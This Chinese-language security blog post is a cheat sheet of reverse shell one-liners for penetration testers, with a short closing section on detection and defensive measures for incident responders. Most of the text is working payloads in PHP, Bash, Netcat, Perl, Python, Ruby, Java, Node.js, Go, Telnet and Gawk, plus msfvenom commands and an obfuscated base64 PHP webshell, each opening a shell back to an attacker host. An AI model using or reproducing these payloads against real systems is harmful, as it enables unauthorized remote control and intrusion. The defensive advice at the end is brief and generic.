#应急响应
#远程命令执行漏洞
原创 三沐数安
在渗透测试期间,如果您足够幸运地发现了远程命令执行漏洞,那么您通常会想要连接回攻击机器以利用交互式 shell。
此文也奉献给应急响应的朋友便于挖掘服务器上的shell,避免对资产造成损失。
以下是使用常用编程语言 PHP、Python、Powershell、nc (Netcat)、JSP、Java、Bash、PowerShell (PS) 的 Windows 和 Linux反向 shell的集合。
文章底部是 Kali Linux 中存在的可上传反向 shell 的集合。
免责声明
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
什么是反向 Shell
反向 shell 是放置在目标服务器上的代码,执行后会尝试“重新连接”攻击机器上的监听 netcat。反向 shell 通常也称为 revshell。
设置监听 Netcat
要设置监听的 netcat 实例,请输入以下内容:
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
❗注意:
如果您的攻击机器位于 NAT 路由器后面,则需要设置指向攻击机器 IP/端口的端口转发。
ATTACKING-IP是运行监听 netcat 会话的机器,下面所有示例中都使用了端口 80(出于上述原因)。
PHP 反向 Shell
以下部分包含已经过测试的 PHP 反向 shell。
一个简单的PHP反向shell:
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
PHP 反向 Shell 单行代码
一个简短的一行反向 PHP shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>
简短的一行 PHP 反向 Shell
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/ATTACKING-IP/1234 0>&1'");
Base64 PHP Shell
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
MSFVenom PHP 反向 Shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.php
如果您想识别更多的PHP shell 可以从如下链接进行学习:
GitHub 下载:
https://github.com/pentestmonkey/php-reverse-shell
ASP 反向 Shell
MSFVenom 来生成 ASP 反向 shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f asp > rev-shell.asp
Bash 反向 Shell
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
或者
while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
MSFVenom Bash 反向 Shell
msfvenom -p cmd/unix/reverse_bash LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.sh
socat 反向 Shell
socat tcp:ip:port exec:'bash -i' ,pty,stderr,setsid,sigint,sane &
Golang 反向 Shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
Netcat 反向 Shell
nc -lnvp 80
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
Node.js 反向 Shell
require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1');
Telnet 反向 Shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
记住也要监听攻击机器上的 443
Perl 反向 Shell
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl Windows 反向 Shell
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
MSFVenom Perl 反向 Shell
msfvenom -p cmd/unix/reverse_perl LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.pl
Ruby 反向 Shell
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java 反向 Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Python 反向 Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
MSFVenom Python 反向 Shell
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.py
JSP 反向 Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f raw > reverse-shell.jsp
WAR 反向 Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKING-IP LPORT=443 -f war > reverse-shell.war
Gawk 反向 Shell
gawk 'BEGIN {P=4444;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
我们在应急响应过程中首先上述举例了好多shell的样例,我们作为应急工程师首先您要会识别反向shell的能力,关于检测的手段:
及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接
作为企业人员我们如何防范反向shell
黑客使用反向shell 攻击的最常见方式是通过网络钓鱼电子邮件或其他社会工程策略发送恶意软件。然后他们会等到受害者登录到他们的帐户并执行代码。然后黑客可以控制该帐户并窃取他们想要的任何数据。
防止此类攻击的唯一真正方法是安装强大的安全解决方案并准备好在整个网络中运行。但是,公司可以采取一些措施来保护自己:
使用强密码
强密码是抵御反向shell攻击的第一道防线,因为它们通过要求对输入的每个字符进行多次猜测来保护系统免受暴力攻击。公司可以使用密码管理器生成强密码,或者他们可以使用 容易记住但别人很难猜到的随机单词组合。
强密码应该又长又复杂(至少12 个字符长);包含数字和符号;切勿包含姓名、地址、电话号码或生日等个人信息。它们对于给定计算机上的每个帐户也应该是唯一的。
定期审核和更新软件
静态应用程序安全测试(SAST) 是一种在部署应用程序之前检测其安全问题的方法。这是一种软件测试策略,可在应用程序投入生产之前分析代码中可被利用的漏洞。公司使用 SAST 在网络犯罪分子利用漏洞之前识别和修复漏洞。
此外,系统管理员需要安装所有必要的更新。他们还应该使用防火墙并定期更新。考虑安装入侵检测系统(IDS),这有助于在有人试图以未经授权的方式访问系统时发出警报。
补丁和升级发布后应尽快应用,因为这些补丁通常是软件或硬件中已知漏洞的结果。定期更新软件对于安全至关重要。
小心打开电子邮件附件
电子邮件附件是黑客感染计算机的常用方式。打开附件可能会让黑客控制计算机并窃取个人信息或伤害他人。
即使电子邮件看起来像是来自朋友或合法公司,也不意味着可以安全打开附件。一些网络罪犯使用虚假电子邮件诱骗他人打开他们的恶意文件。通知员工,如果他们不认识发件人,就不要打开附件!如果他们不确定附件是否真的来自它看起来来自的来源,他们应该在点击或下载任何内容之前与明显的发件人或安全团队核实。
使用防火墙
使用防火墙也有助于防止反向shell 攻击。防火墙阻止来自外部网络的流量。如果系统上没有开放的端口,其他人就无法使用反向shell 攻击方法访问它。
一个好的防火墙可以:
•阻止策略不允许的传入连接
•除非策略明确允许,否则阻止传出连接
•监控入站和出站流量,以便管理员知道何时有人试图在未经授权的情况下访问系统
对于反向shell 攻击,这可能意味着知道是否有人试图从不在允许列表中的IP 地址访问系统。这是在攻击成功之前检测到攻击的好方法。